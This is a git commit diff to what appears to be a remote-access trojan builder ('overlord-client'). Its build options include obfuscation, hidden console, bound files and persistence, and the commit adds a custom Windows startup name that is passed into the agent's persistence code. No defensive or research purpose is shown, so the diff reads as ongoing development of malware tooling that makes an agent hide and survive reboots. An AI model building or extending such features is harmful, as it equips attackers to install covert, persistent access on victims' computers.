add custom file names to building and fix purgatory issue

This commit is contained in:
KingKDot
2026-03-21 03:06:35 -05:00
parent e7e5f0b778
commit 5ac5e4e536
13 changed files with 276 additions and 93 deletions
@@ -70,6 +70,7 @@ type BuildProcessConfig = {
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
startupName?: string;
hideConsole?: boolean;
noPrinting?: boolean;
builtByUserId?: number;
@@ -702,6 +703,11 @@ func runBoundFiles() {
ldflags = `${ldflags} ${methodFlag}`;
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
if (os === 'windows' && config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`;
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
}
} else {
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
}